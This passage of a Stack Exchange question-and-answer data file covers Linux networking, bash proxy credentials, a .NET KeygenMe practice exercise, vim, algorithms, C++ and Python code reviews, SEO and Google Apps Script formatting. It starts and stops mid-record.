second route lookup after OUTPUT?"  , "tags": "linux;iptables;routing;port forwarding"  } 
{  "id": "_unix.122886"  , "question": "I have this file I use to set my username and password before exporting the value. #!/bin/bashecho -n User:;read userecho -n Password:;read -s passwordexport http_proxy=http://$user:$password@$domain:$portnumif curl -silent http://www.google.com | grep authentication_failed;then        echo NO CONNECT        unset http_proxyelse        echo OKfiin history, printenv, and export -p I'm able to see the value that I have setfurthermore, I'd like an encrypted form of my password inside $password, versus that value containing my password verbatim. I'm familiar with using openssh to salt passwords, or printing hash using perl's crypt(), but for my purpose, I cannot see it's usage? any tips will be appreciated? "  , "title": "What are ways to encrypt a password inside an environment variable"  , "tags": "linux;security;bash;encryption"  , "accepted_answer": "I am unable to reproduce the issue you mentioned with password showing up in the output from the history command.The password showing up in the output from printenv and export -p is working as intended. Those commands display the environment variables, and that's where you put the http_proxy string.The environment variables are automatically inherited by child processes, but not by any other processes. I don't see why you think that is a major concern, as it is only visible to processes within the same security domain.But you could stop putting it in an environment variable and instead use normal shell variables. Then it would not be inherited by child processes. Since you probably want curl to have access to the environment variable, then you could pass the environment variable to just that one command and not all the other commands.#!/bin/bashecho -n User:;read userecho -n Password:;read -s passwordproxy=http://$user:$password@$domain:$portnumif http_proxy=$proxy curl -silent http://www.google.com | grep authentication_failed;then    echo NO CONNECTelse    echo OKfi"  } 
{  "id": "_scicomp.8132"  , "question": "I'm looking to learn more about Sparse Optimization and apply it to machine learning problems. Could you please recommend some books/resources on this topic? Both theoretical and applied are fine."  , "title": "Books/Resources on Sparse Optimization?"  , "tags": "reference request;optimization;machine learning"  , "accepted_answer": "First, just to clarify things, you're talking about solving optimization problems of the form$\\min \\| x \\|_{1}$subject to $\\| Ax - b \\|_{2} \\leq \\delta$and related forms, right?  There are many different applications in which problems are formulated as the minimization of the 1-norm of a vector subject to linear or least squares constraints.  An important area of theoretical research is proving conditions under which solving the $L_{1}$ minimization problem will recover the sparsest solution.  Many folks working in convex optimization have gravitated to this area because of the new found demand for solvers for these problems.  The methods that they develop can be used in many different applications, and the solvers are effectively black boxes to most users of the codes.  It isn't clear whether you're more interested in the application of sparse optimization to machine learning or in theoretical questions or in methods for actually solving the resulting optimization problems.  These are really very disjoint though related areas of research. As a starting point, I'd suggest looking at the list of resources for compressive sensing at:http://dsp.rice.edu/csIf you can supply more details about what it is you want to learn about, and also give me some idea of your background in optimization and other areas of mathematics, then perhaps I could suggest more specific references.  "  } 
{  "id": "_softwareengineering.127472"  , "question": "I've been developing web apps for a while now and it is standard practice in our team to use agile development techniques and principles to implement the software.Recently, I've also become involved in Machine Learning and Natural Language Processing. I heard people primarily use Matlab for developing ML and NLP algorithms. Does agile development have a place there or is that skill completely redundant?In other words, when you develop ML and NLP algorithms as a job, do you use agile development in the process?"  , "title": "Is Agile Development used in Machine Learning and Natural Language Processing?"  , "tags": "agile;development process;machine learning;natural language processing"  , "accepted_answer": "Maching Learning and Natural Language Processing is somewhat data-driven. Without a continuous supply of high-quality data (which must be re-captured whenever new criteria are added), the software development may miss its intended target.The customer and product owner may devote a bigger fraction of their time toward test data collection.The adaptations will depend on:The balance of time allocated toward spike versus implementationspike: open-ended research / exploratory prototyping (where the benefits are possible but not certain, and where priorities are fast-changing)implementation (where the benefits and costs are somewhat more predictable, but each task unit will take much longer to finish).Average size of a task unit. How long does a spike take? How long does an implementation take? Unlike typical application development, partial algorithm implementations are usually not runnable.Whether canned algorithms i.e. existing libraries / algorithm packages are available. When these are available, time spent on implementation is reduced (because they're already written) and thus more time will be spent on spikes.There will be two feedback loops:In each iteration, customer and product owner collect/update data periodically (and with better quality / newer criteria) based on business need and developers' feedback.In each iteration, developers try to improve algorithm quality based on the data available, and the algorithm is packaged into a usable system and delivered at the end of each iteration. Customer and product owner should be allowed to take the beta system elsewhere, redistribute them, etc.Thus, we see that data replaces features as the main definition of progress.Because of the increased importance of research / spike in ML/NLP development, there is a need for a more organized approach to spike - something you may have already learned from any graduate research teams. Spikes are to be treated as mini-tasks, taking from hours to days. Implementation of one algorithm suite will take longer, in some cases weeks. Because of task size differences, spikes and implementations are to be prioritized separately. Implementations are costly, something to be avoided if possible. This is one reason for using canned algorithms / existing libraries.The scrummaster will need to constantly remind everyone to: (1) note down every observation, including passing thoughts and hypotheses, and exchange notes often (daily). (2) Spend more time on spikes (3) use existing libraries as much as possible (4) don't worry about execution time - this can be optimized later.If you do decide to implement something that's missing in libraries, do it with good quality.Daily activities:Reprioritize spikes (short tasks / hours - days) and exchange research notes.De-prioritize spikes aggressively if yesterday's result don't seem promising.Everyone must commit a fraction of time on implementation (long tasks / weeks), otherwise nobody would be working on them because they tend to be more boring on tasks.Sprint activities:Demo, presentation of beta softwareNew data collectionRetrospect: data collection criteria / new measures of quality, algorithm satisfaction, balance between spikes and implementationsAbout the note on deferring optimization: The thought-to-code ratio is much higher in ML/NLP than in business software. Thus, once you have a working idea, rewriting the algorithm for an ML/NLP application is easier than rewriting a business software. This means it is easier to get rid of inefficiencies inheritant in the architecture (that is, in the worst case, simply do a rewrite.)(All editors are welcome to rearrange (re-order) my points.)"  } 
{  "id": "_reverseengineering.11969"  , "question": "I'm trying to get into reverse engineering and am beginning with .NET, attempting various CrackMes and KeygenMes that I've found on the internet. Until now, I haven't really struggled but this latest one is driving me mad:https://tuts4you.com/download.php?view.1894VT link if needed: https://www.virustotal.com/en/file/9bd07d7cbd053f6ad27792487679b18b2f72b589440d8ab81f9cdc4d84301178/analysis/1454947890/Decompiling with ILSpy reveals the license check performed:    FileStream fileStream = new FileStream(key.dat, FileMode.Open, FileAccess.Read);    StreamReader streamReader = new StreamReader(fileStream);    string text = streamReader.ReadToEnd();    byte[] bytes = Encoding.Unicode.GetBytes(this.TextBox1.Text);    SHA512 sHA = new SHA512Managed();    sHA.ComputeHash(bytes);    if (Operators.ConditionalCompareObjectEqual(this.CodeCrypt(text), Convert.ToBase64String(sHA.Hash), true))    {        Interaction.MsgBox(Good job, make a keymaker, MsgBoxStyle.Information, Done);    }    else    {        Interaction.MsgBox(Try again, it is very simple, MsgBoxStyle.Critical, No ....);    }    streamReader.Close();    fileStream.Close();Here is the CodeCrypt method:Key = AoRE;public string CodeCrypt(string text){    string text2 = ;    int arg_0F_0 = 1;    int num = Strings.Len(text);    checked    {        for (int i = arg_0F_0; i <= num; i++)        {            int num2 = i % Strings.Len(this.Key);            if (num2 == 0)            {                num2 = Strings.Len(this.Key);            }            text2 += Conversions.ToString(Strings.Chr(Strings.Asc(Strings.Mid(this.Key, num2, 1)) ^ Strings.Asc(Strings.Mid(text, i, 1)) - 6));        }        return text2;    }}Seemed quite straight forward to reverse, so I generated my own key generation method:    private static string Key(string name)    {        string key = ;        SHA512 sHA = new SHA512Managed();        string hash = Convert.ToBase64String(sHA.ComputeHash(Encoding.Unicode.GetBytes(name)));        for (int i = 1; i <= hash.Length; i++)        {            int num2 = i % 4;            if (num2 == 0)            {                num2 = 4;            }            var test = Convert.ToChar((AoRE[num2 - 1] ^ hash[i - 1]) + 6);            key += test;        }        return key;    }Then I wrote my license: using (StreamWriter sw = new StreamWriter(File.Open(key.dat, FileMode.Create), Encoding.Unicode))        sw.Write(Key(Tom));But it fails. I set a breakpoint to see what the output from CodeCrypt() and the SHA512 hash was, and saw this:CodeCrypt: 8dmVQYHqap7MbFngePjLSxvaC9kVgaDiyR2p550IFO2kzGAuC9yWufBs5LZGbKeR/KAFGVTBb47z4sa686eBTA==SHA512: 8dmVQYHqap7MbFngePjLSxvaC9/VgaDiyR2p550IFO2kzGAuC9yWufBs5LZGbKeR/KAFGVTBb47z4sa686eBTA==The 27th character differs in these outputs and I just don't understand why. What am I missing here?Thanks in advance."  , "title": "KeygenMe - My output has one wrong character"  , "tags": "decompilation"  , "accepted_answer": "Your algorithm calculates the correct byte for each character of the base64 encoded hash, however your implementation of that byte's string encoding is not correct.Convert.ToChar() simply casts the byte to a char.VB's Strings.Chr() converts the byte to unicode, using the system's current default code page. This is most likely Windows-1252 for US/Western Europe.For bytes 0x00-0x7F, UTF-8 and Windows-1252 have the same binary representation. But things are different for bytes 0x80-0xFF, and it just so happens that the / character is the only character XOR'd to a value greater than 0x7F (it's 0x83).In Windows-1252, 0x80-0xFF represent single-byte extended characters.In UTF-8, these extended characters require two bytes of storage: 0x01 0x92.This means that the crackme is buggy, because the license file depends on the system's character encoding (which could change).  The license file should have used unicode consistently.To fix your code, replace Convert.ToChar() with Encoding.Default.GetString()var test = Encoding.Default.GetString(               new[] { (byte)((AoRE[num2 - 1] ^ hash[i - 1]) + 6) });Edited to addOne thing I want to point out is that a char in C# is 2 bytes and stores a 16-bit unicode character (unlike C where a char is 1 byte). This is why casting and using the default encoding are different operations."  } 
{  "id": "_unix.219257"  , "question": "Sometimes I forgot to press ESC to return to command mode and enter :w<enter> in some line I was editing. So I get the following:some line of code:w    I was typing   ^ cursor positionSo what I do is pressing ESC+k+A+Backspace+Backspace+ESC+j or something similar.Someone has a shorter/better/quicker way of doing this?"  , "title": "VIM: What's the quickest way to return from typing :w in insert mode?"  , "tags": "vim"  , "accepted_answer": "If the extra :w<enter> is the only insertion in that place I use ESC + u (undo).If not it's just as long as yours but depending on personal preferences/habits it might be faster: ESC + up arrow + J (join) + left arrow + left arrow + x + x (delete current char).Technically the longer sequence can be saved as a macro and then invoked with just ESC + @ + key (where key corresponds to the register in which the macro was saved) - but I just couldn't get the macros into my habits :)"  } 
{  "id": "_cogsci.467"  , "question": "Possible Duplicate:Any work being done on Perception, Action, and/or Cognition in Video games? What is the relationship between computer game performance and measures of ability?"  , "title": "What is the relationship between computer game performance and measures of ability?"  , "tags": "intelligence;test;measurement;video games;hci"  } 
{  "id": "_webapps.28004"  , "question": "I have admin rights on three Facebook pages for organizations. However, I really need to stop the many daily notifications appearing in my top menu pulldown telling me when this or that new user has Liked the page or liked this or that image in the page.  These are totally cluttering up my new items notices in that menu.How do I tell it to tell me LESS about those three pages I have admin roles on, up in that top pulldown menu?In short:  I really want my little globe pulldown menu to not have items about the pages that I am ADMIN of.  I want the globe pulldown menu to only have items about my PERSONAL facebook account."  , "title": "Suppress notifications in top menu about new Likes for Facebook Page admin"  , "tags": "facebook"  } 
{  "id": "_unix.313180"  , "question": "I have a bare metal running Ubuntu server 16.04 with KVM and 3 NIC's that are connected by bridges br1, br2 and br3 to a guest VM running also Ubuntu server 16.04.The first NIC - br1 - is connected to the internet and it's router address is defined as the default gateway for the guest.I have a code running on my guest that needs to listen to the packets received by br2 and br3, the code should listen to 1 NIC only,I tried forwarding the traffic from en2 (the name of the guest NIC that is bridged via br2) to en3 (the same with br3) by following this:sudo nano /etc/sysctl.confuncomment net.ipv4.ip_forward = 1sudo sysctl -psudo iptables -t nat -A POSTROUTING --out-interface en3 -j MASQUERADE  sudo iptables -A FORWARD --in-interface en2 --out-interfac en3 -j ACCEPTYet there is nothing recorded when using sudo tpcdump -i en3 and send a ping message to NIC2 (while if I run sudo tpcdump -i en2 i can see the ping messages)What am I missing here? Is there a better way for me to get my desired result (that my code will listen to 1 NIC and get both NIC's trafic) ?"  , "title": "Iptables FORWARD chain traffic not seen by tcpdump"  , "tags": "linux;debian;networking;iptables;tcpdump"  } 
{  "id": "_cstheory.1000"  , "question": "Does anyone know (or can anyone think of) a simple reduction from (for example) PARTITION, 0-1-KNAPSACK, BIN-PACKING or SUBSET-SUM (or even 3SAT) to the UBK problem (integral knapsack with unlimited number of objects of each type)? I'm writing an introduction to a few of these problems, and noticed that I hadn't really heard of a standard reduction here. Shouldn't be that hard (it's a relatively expressive problem), but I can't think of anything right now Thoughts/references?"  , "title": "Simple reduction to unbounded knapsack?"  , "tags": "cc.complexity theory;ds.algorithms;np hardness;reductions"  , "accepted_answer": "There is a simple reduction from the subset sum problem. (We usually give it as an exercise.)The idea is to encode in the weights that an element can only be included 0 or 1 times.Assume the subset sum instance consists of numbers $w_1,\\dots,w_n$ with target $W$. Assume that $w_i < B$ for all $i$.We will have two new elements for each old element, simulating whether the element is used 0 or 1 times. For element $i$ we get two new weights $w^1_i = (2^{n+1} + 2^i)nB + w_i$ and $w^0_i = (2^{n+1} + 2^i)nB$. The new weight bound is defined as $W' = (n2^{n+1} + 2^n + \\dots + 2^1)nB + W$. Values of elements are the same as their weights, and the target value is $W'$"  } 
{  "id": "_codereview.98564"  , "question": "While writing a C++ GUI application more or less from scratch I needed some form of an event-listener system, preferably using lambdas. An event should be able to have multiple listeners and the user should not have to worry about the lifetime of the objects. I came up with this bit using shared and weak pointers to determine object lifetime:#include <functional>#include <list>template <typename ... Args> struct event:public std::shared_ptr<std::list<std::function<void(Args...)>>>{  using handler = std::function<void(Args...)>;  using listener_list = std::list<handler>;  struct listener{    std::weak_ptr<listener_list> the_event;    typename listener_list::iterator it;    listener(){ }    listener(event & s,handler f){      observe(s,f);    }    listener(listener &&other){      the_event = other.the_event;      it = other.it;      other.the_event.reset();    }    listener(const listener &other) = delete;    listener & operator=(const listener &other) = delete;    listener & operator=(listener &&other){      reset();      the_event = other.the_event;      it = other.it;      other.the_event.reset();      return *this;    }    void observe(event & s,handler f){      reset();      the_event = s;      it = s->insert(s->end(),f);    }    void reset(){      if(!the_event.expired()) the_event.lock()->erase(it);      the_event.reset();    }    ~listener(){ reset(); }  };  event():std::shared_ptr<listener_list>(std::make_shared<listener_list>()){ }  event(const event &) = delete;  event & operator=(const event &) = delete;  void notify(Args... args){    for(auto &f:**this) f(args...);  }  listener connect(handler h){    return listener(*this,h);  }};Example usage:#include <iostream>using click_event = event<float,float>;struct gui_element{  click_event click;  void mouse_down(float x,float y){ click.notify(x, y); }};int main(int argc, char **argv) {  gui_element A,B;  click_event::listener listener_1,listener_2;  listener_1.observe(A.click,[](float x,float y){ std::cout << l1 : A was clicked at  << x << ,  << y << std::endl; });  listener_2.observe(B.click,[](float x,float y){ std::cout << l2 : B was clicked at  << x << ,  << y << std::endl; });  {  auto temporary_listener = A.click.connect([](float x,float y){ std::cout << tmp: A was clicked at  << x << ,  << y << std::endl; });  // A has two listeners, B has one listeners  A.mouse_down(1, 0);  B.mouse_down(0, 1);  }  listener_2 = std::move(listener_1);  // A has one listener, B has no listeners  A.mouse_down(2, 0);  B.mouse_down(0, 2);}Output:l1 : A was clicked at 1, 0tmp: A was clicked at 1, 0l2 : B was clicked at 0, 1l1 : A was clicked at 2, 0While the usage is exactly how I wanted, I am not sure the implementation is elegant or optimal. Any way how to improve this?"  , "title": "Event-listener implementation"  , "tags": "c++;c++11;event handling;lambda"  , "accepted_answer": "As I said in the comments, your system is pretty close to a system of signals and slots. Congratulations if you never heard of the pattern before, that's an excellent way to implement an the observer design pattern! I still have few notes:I don't know which compiler you use, but mine won't compile your code unless I include <memory> for std::shared_ptr. I suppose that it may be transitively included from <functional> or <list> in your implementation. Never rely on transitive includes from the standard library and always include the exact header that contains what you need.Qt, which is the emblematic library when it comes to signals and slots, tends to use past participle for its signas names. For example, instead of click, it would be clicked:button.clicked.connect(/* whatever */);It allows to read the line easily as when button is clicked, do whatever. Also, it makes the object look more like a trigger and less like an action.From a design point of view, connect being a method taking only one function, I would expect it to add the function to the list, not to return a listener.You should encapsulate std::shared_ptr<std::list<std::function<void(Args...)>>> instead of inheriting from it. Frankly, you don't want people to expose every method of std::shared_ptr. You don't want people to think of pointers when they want events, right?The truth is my answer isn't really personal. Since your class obviously looks like a signal class, everything I am saying tends to mean make your design closer to those of existing signal classes like Boost.Signals2 :/"  } 
{  "id": "_cs.68022"  , "question": "I'm revising for an upcoming exam and was wondering if someone could help me with a practice problem:We model a set of cities and highways as an undirected weighted graph $G = (V,E,l)$, where the vertices $V$ represent cities, edges $E$ represent highways connecting cities, and for every undirected edge $e = {v, w}\\in E$ the number $\\ell[e]$ denotes the number of litres of fuel that your motorcycle needs in order to ride the distance between cities $v$ and $w$.  There are fuel stations in every city but none on the highways between the cities. Therefore, if the capacity of your motorcycle's fuel tank is $L$ litres, then you can only follow a path (a sequence of adjacent highways), if for every highway $e$ on this path, we have $L\\geq \\ell[e]$, because you can only refuel in the cities.Design an algorithm with a running of time of $O(m\\log n)$ that, given an undirected weighted graph $G=(V,E,\\ell)$ modelling a setting of cities and highways, and a city $s \\in V$ as inputs, computes for every other city $v \\in V$, the smallest fuel tank capacity $M[v]$ that your motorcycle needs in order to be able to reach city $v$ from city $s$.I'm not sure how to solve this problem, but I do have a few ideas. I thought of possibly running Kruskal's algorithm since that would give me the MST of the graph. I'm not sure how I would then efficiently get the answer I need to produce.Alternatively, I was thinking of using dynamic programming in some way since that's one of the things that we use a lot in the course, but I'm not really sure how to go about it.Any help or hints would be appreciated."  , "title": "Algorithm for finding lowest cost edge in each path in a graph"  , "tags": "graph traversal"  , "accepted_answer": "Let $T = \\{s\\}$, and let $Q$ be a new empty priority queue. Insert each edge incident on $s$ in $Q$. While there are still nodes with $d$ from $s$ yet to be computed, extract and remove the minimum from $Q$. If such edge connects a node $u$ in $T$ with a node $v$ not in $T$, add each edge incident on $v$ that still isn't in $Q$ to $Q$, then set $M[v]$ to $\\max\\{M[u], w(u, v)\\}$. Otherwise, disregard the extracted edge and extract more edges until you find a suitable one.The overall complexity is $O(|E| \\log |E|) = O(|E| \\log |V|^2) = O(|E| \\log |V|)$.To informally prove correctness, we can observe that whenever we set $M[v]$ to a certain value $x$, we can certainly reach $v$ from $s$ with a path in which each edge weighs at most $x$. On the other hand, no better path exists, because we already gave each edge lighter than $x$ a chance to connect to $s$."  } 
{  "id": "_computerscience.3926"  , "question": "I need to find the transformation matrix(homogeneous coordinates) that flips anobject about a plane whose normal isdirected towards (-2 2 0), and intersects they-axis at y=2.I know how to do that when I have 3 points on the plane (A,B,C): translate to origin, find the orthonormal basis of the plane (u,v,w axes) and then rotate the plane to match XYZ coordinate system (with the axes I found), perform the reflection, rotate back and translate back.However in this case I have a normal and another data which I don't know how to use.Any ideas?"  , "title": "Transformations about a Plane"  , "tags": "3d;transformations"  } 
{  "id": "_webmaster.81669"  , "question": "I'm creating an invite only website, so my question is if I need to create a sitemap xml and upload to Google and others search engines with all pages? With only the main page (that'll be open for everyone)? And what others SEO tips I could use in a scenario like this? I'm new to SEO, sorry for the newbie questions.Thanks!"  , "title": "Should I create a sitemap for an invite only website?"  , "tags": "seo;google;sitemap"  , "accepted_answer": "SEO is an abbreviation for Search Engine Optimization. In Layman terms, it basically means trying to make your site appear as the first result in search engines based on keywords mostly related to your site.Making a sitemap is like asking search engines to prepare themselves to index your pages until you submit the sitemap to any search engine, in which case the indexing starts.I assume by invite only you mean that only selected individuals will know the URL to sections not available to the public. If you make a sitemap, then to maintain security, don't include these URLs in the sitemap.Other than that, I'll have to go with a no for sitemap creation unless that introductory page on your site is so spectacular that millions of people will want to see it, in which case you'd only index that one page, but even then, search engines might have already indexed it.If by chance search engines have indexed your private pages and you still want to make them accessible to selected individuals just by typing in the URL only, then you want to add the following between <head> and </head> section of the HTML code of each affected private page:<meta name=robots content=noindex>That way, search engines will remove the affected pages off their index and eventually will no longer list them."  } 
{  "id": "_unix.119198"  , "question": "I have started using CentOS recently. I have some packages which end with .ipk. I need to install a cross compiler and the steps in the compiler's manual says I should do the following:ipkg install libstdc++6_4.1.2-r10_armv5te.ipkI have tried to  install ipkg or opkg, but it didn't work. Can anyone tell how to install any of them or if there is an alternative to install .ipk file?"  , "title": "How to install ipkg in CentOS 6.5"  , "tags": "centos;ipkg"  } 
{  "id": "_webapps.84339"  , "question": "I am trying to have a pricing request form that exports to excel in the proper formatting. When it does export to excel it creates 4 tabs with information in each tab. I need to have the request export in the proper formatting so I can automate the a proposal."  , "title": "Cognito Forms: How do I Export a form in the format I need?"  , "tags": "cognito forms"  } 
{  "id": "_unix.353636"  , "question": "I have a shell script to set up the environment and install a relatively complex web application on a webserver, which has gradually evolved from a quick bad hack into a larger and slightly less bad hack.Previously, my script had a built-in 'bootstrap' function to allow me to easily copy it from my development computer to the remote server for use, requesting root login to create a folder to place the script into and then to copy the script.As this project has evolved, it now turns out that additional software that we will need to rely on expects a 'sudo' environment (rather than root login) for its own setup script, and so I'd like to switch the working of my setup script from expecting root to using sudo (especially as we may wish to share this with others, and for it to be able to work on servers where root is not available (eg, Ubuntu)).At present, my bootstrap function does:bootstrap(){    INSTALL_DIR=/local/bin    SCRIPT=`basename $0`    echo Copying script '${SCRIPT}' onto server: '${RHOST}' into '${INSTALL_DIR}'    echo (You need to login (as root) 2 times.)    ssh root@$RHOST umask 027; mkdir -p $INSTALL_DIR    scp -p $SCRIPT root@$RHOST:/$INSTALL_DIR    echo Done. Now login to the server and run the script as root.    exit}I am not sure how I can translate this to using sudo?scp expects me to login as the user who will be able to write to the folder where the file should go, which I won't be able to do if there is no root account?Or perhaps I am making this too complicated? If the normal user on the remote server is essentially root-one-step-removed anyway, perhaps, rather than trying to create a 'tidy' place to store these admin scripts, I could just scp it somewhere into the user's own filespace, and the user could then in turn run the install part of the script from there using sudo. (I suppose the only issue that might then arise might be if a different administrator needed to run the script and couldn't access the other user's files..)"  , "title": "Can I transfer a file to a folder (on a remote server) which is writable only by root (via sudo)?"  , "tags": "shell script;permissions;sudo;not root user"  } 
{  "id": "_unix.291260"  , "question": "I recently started using Ranger as my default file manager, and I'm really enjoying it. Right now, I've managed to change rifle.conf so that when I play audio or video from Ranger, mpv opens in a new xterm window and the media starts to play.However, if possible, I would like Ranger to open the gnome-terminal instead of xterm. In /.config/ranger/rifle.conf, it says that using the t flag will run the program in a new terminal:If $TERMCMD is not defined, rifle will attempt to extract it from $TERMI tried setting $TERMCMD in both my .profile and .bashrc files, but even though echo $TERMCMD would print gnome-terminal, Ranger would still open xterm. I also messed with setting $TERM to gnome-terminal, but that was messy and I decided to leave it alone.Any suggestions? Thanks!"  , "title": "Ranger file manager - Open gnome-terminal instead of xterm"  , "tags": "linux;environment variables;gnome terminal;xterm;file manager"  , "accepted_answer": "The source-code (runner.py) does this:        term = os.environ.get('TERMCMD', os.environ.get('TERM'))        if term not in get_executables():            term = 'x-terminal-emulator'        if term not in get_executables():            term = 'xterm'        if isinstance(action, str):            action = term + ' -e ' + action        else:            action = [term, '-e'] + actionso you should be able to put any xterm-compatible program name in TERMCMD.  However, note the use of -e (gnome-terminal doesn't match xterm's behavior).  If you are using Debian/Ubuntu/etc, the Debian packagers have attempted to provide a wrapper to hide this difference in the x-terminal-emulator feature.  If that applies to you, you could set TERMCMD to x-terminal-emulator."  } 
{  "id": "_codereview.110032"  , "question": "So this is my first project.I made a Calculator using Tkinter. For the next version, I will try addingoops conceptsCustom parser for inputHere's the code #!/usr/bin/env python3.4from tkinter import *import parserroot = Tk()root.title('Calculator')i = 0def factorial():    Calculates the factorial of the number entered.    whole_string = display.get()    number = int(whole_string)    fact = 1    counter = number     try:        while counter > 0:            fact = fact*counter            counter -= 1        clear_all()        display.insert(0, fact)    except Exception:        clear_all()        display.insert(0, Error)def clear_all():    clears all the content in the Entry widget    display.delete(0, END)def get_variables(num):    Gets the user input for operands and puts it inside the entry widget    global i    display.insert(i, num)    i += 1def get_operation(operator):    Gets the operand the user wants to apply on the functions    global i    length = len(operator)    display.insert(i, operator)    i += lengthdef undo():    removes the last entered operator/variable from entry widget    whole_string = display.get()    if len(whole_string):        ## repeats until        ## now just decrement the string by one index        new_string = whole_string[:-1]        print(new_string)        clear_all()        display.insert(0, new_string)    else:        clear_all()         display.insert(0, Error, press AC)def calculate():        Evaluates the expression    ref : http://stackoverflow.com/questions/594266/equation-parsing-in-python        whole_string = display.get()    try:        formulae = parser.expr(whole_string).compile()        result = eval(formulae)        clear_all()        display.insert(0, result)    except Exception:        clear_all()        display.insert(0, Error!)root.columnconfigure(0,pad=3)root.columnconfigure(1,pad=3)root.columnconfigure(2,pad=3)root.columnconfigure(3,pad=3)root.columnconfigure(4,pad=3)root.rowconfigure(0,pad=3)root.rowconfigure(1,pad=3)root.rowconfigure(2,pad=3)root.rowconfigure(3,pad=3)display = Entry(root, font = (Calibri, 13))display.grid(row = 1, columnspan = 6    , sticky = W+E)one = Button(root, text = 1, command = lambda : get_variables(1), font=(Calibri, 12))one.grid(row = 2, column = 0)two = Button(root, text = 2, command = lambda : get_variables(2), font=(Calibri, 12))two.grid(row = 2, column = 1)three = Button(root, text = 3, command = lambda : get_variables(3), font=(Calibri, 12))three.grid(row = 2, column = 2)four = Button(root, text = 4, command = lambda : get_variables(4), font=(Calibri, 12))four.grid(row = 3 , column = 0)five = Button(root, text = 5, command = lambda : get_variables(5), font=(Calibri, 12))five.grid(row = 3, column = 1)six = Button(root, text = 6, command = lambda : get_variables(6), font=(Calibri, 12))six.grid(row = 3, column = 2)seven = Button(root, text = 7, command = lambda : get_variables(7), font=(Calibri, 12))seven.grid(row = 4, column = 0)eight = Button(root, text = 8, command = lambda : get_variables(8), font=(Calibri, 12))eight.grid(row = 4, column = 1)nine = Button(root , text = 9, command = lambda : get_variables(9), font=(Calibri, 12))nine.grid(row = 4, column = 2)cls = Button(root, text = AC, command = clear_all, font=(Calibri, 12), foreground = red)cls.grid(row = 5, column = 0)zero = Button(root, text = 0, command = lambda : get_variables(0), font=(Calibri, 12))zero.grid(row = 5, column = 1)result = Button(root, text = =, command = calculate, font=(Calibri, 12), foreground = red)result.grid(row = 5, column = 2)plus = Button(root, text = +, command =  lambda : get_operation(+), font=(Calibri, 12))plus.grid(row = 2, column = 3)minus = Button(root, text = -, command =  lambda : get_operation(-), font=(Calibri, 12))minus.grid(row = 3, column = 3)multiply = Button(root,text = *, command =  lambda : get_operation(*), font=(Calibri, 12))multiply.grid(row = 4, column = 3)divide = Button(root, text = /, command = lambda :  get_operation(/), font=(Calibri, 12))divide.grid(row = 5, column = 3)# adding new operationspi = Button(root, text = pi, command = lambda: get_operation(*3.14), font =(Calibri, 12))pi.grid(row = 2, column = 4)modulo = Button(root, text = %, command = lambda :  get_operation(%), font=(Calibri, 12))modulo.grid(row = 3, column = 4)left_bracket = Button(root, text = (, command = lambda: get_operation((), font =(Calibri, 12))left_bracket.grid(row = 4, column = 4)exp = Button(root, text = exp, command = lambda: get_operation(**), font = (Calibri, 10))exp.grid(row = 5, column = 4)## To be added :# sin, cos, log, lnundo_button = Button(root, text = <-, command = undo, font =(Calibri, 12), foreground = red)undo_button.grid(row = 2, column = 5)fact = Button(root, text = x!, command = factorial, font=(Calibri, 12))fact.grid(row = 3, column = 5)right_bracket = Button(root, text = ), command = lambda: get_operation()), font =(Calibri, 12))right_bracket.grid(row = 4, column = 5)square = Button(root, text = ^2, command = lambda: get_operation(**2), font = (Calibri, 10))square.grid(row = 5, column = 5)root.mainloop()Any Suggestions on how could I improve upon it guys?Edit:Here's the link to the repo if anybody wants to download the executable for this.https://github.com/prodicus/pyCalc"  , "title": "Calculator using Tkinter"  , "tags": "python;beginner;tkinter"  } 
{  "id": "_webapps.76439"  , "question": "As the title says, I have data (Q & A grouped by subject) that I have to export to a document file.As shown above, the source data on the left should be formatted like the example on the rightI'm looking for a free solution. Google helped me find THIS which looks deprecated according to comments. So 'I'll be very glad if at least you put me on the right path to realise this task given that I have some basic JS experience (but I've never scripted in GS). Edit.1:I started indeed learning how to script with google-apps since it's a time saver as long as I'm using google for almost everything xDAt the end I'll post the full code here to help any beginner else like me.For now i'm stuck at these points:I'm adding a title, then I'm trying to customize it's style (font, color, alignment), but it doesnt work as expected (not everything). Plus, it looks like that order matters :-/The following snippet gives the output in the picture:// Define a stylevar titleStyle1 = {};titleStyle1[DocumentApp.Attribute.FONT_FAMILY] = DocumentApp.FontFamily.COMIC_SANS_MS;titleStyle1[DocumentApp.Attribute.FOREGROUND_COLOR] = '#ff0000'; // RedtitleStyle1[DocumentApp.Attribute.HORIZONTAL_ALIGNMENT] = DocumentApp.HorizontalAlignment.CENTER;titleStyle1[DocumentApp.Attribute.HEADING] = DocumentApp.ParagraphHeading.TITLE;var titleStyle2 = {};titleStyle2[DocumentApp.Attribute.HEADING] = DocumentApp.ParagraphHeading.TITLE;titleStyle2[DocumentApp.Attribute.FONT_FAMILY] = DocumentApp.FontFamily.COMIC_SANS_MS;titleStyle2[DocumentApp.Attribute.FOREGROUND_COLOR] = '#ff0000'; // RedtitleStyle2[DocumentApp.Attribute.HORIZONTAL_ALIGNMENT] = DocumentApp.HorizontalAlignment.CENTER;var titleStyle3 = {};titleStyle3[DocumentApp.Attribute.HEADING] = DocumentApp.ParagraphHeading.TITLE;titleStyle3[DocumentApp.Attribute.HORIZONTAL_ALIGNMENT] = DocumentApp.HorizontalAlignment.CENTER;titleStyle3[DocumentApp.Attribute.FONT_FAMILY] = DocumentApp.FontFamily.COMIC_SANS_MS;titleStyle3[DocumentApp.Attribute.FOREGROUND_COLOR] = '#ff0000'; // Redvar titleStyle4 = {};titleStyle4[DocumentApp.Attribute.FONT_FAMILY] = DocumentApp.FontFamily.COMIC_SANS_MS;titleStyle4[DocumentApp.Attribute.FOREGROUND_COLOR] = '#ff0000'; // RedtitleStyle4[DocumentApp.Attribute.HORIZONTAL_ALIGNMENT] = DocumentApp.HorizontalAlignment.CENTER;//titleStyle4[DocumentApp.Attribute.HEADING] = DocumentApp.ParagraphHeading.TITLE;// Create and open a new document.var doc = DocumentApp.create(outputDocDesiredName);var body = doc.getBody();body.setAttributes(docStyle)// Append a document header paragraph.body.appendParagraph('Test title').setAttributes(titleStyle1);body.appendParagraph('Test title').setAttributes(titleStyle2);body.appendParagraph('Test title').setAttributes(titleStyle3);body.appendParagraph('Test title').setAttributes(titleStyle4);Notice that in the last case, only when DocumentApp.Attribute.HEADING isnt set that the other styles are taken into account. I wonder why :>Instead of setting everytime the font COMIC_SANS_MS for every added text, is there a way to set a default font (among other attributes) for the newly created document ?The following code does change nothing:var docStyle = {};docStyle[DocumentApp.Attribute.FONT_FAMILY] = 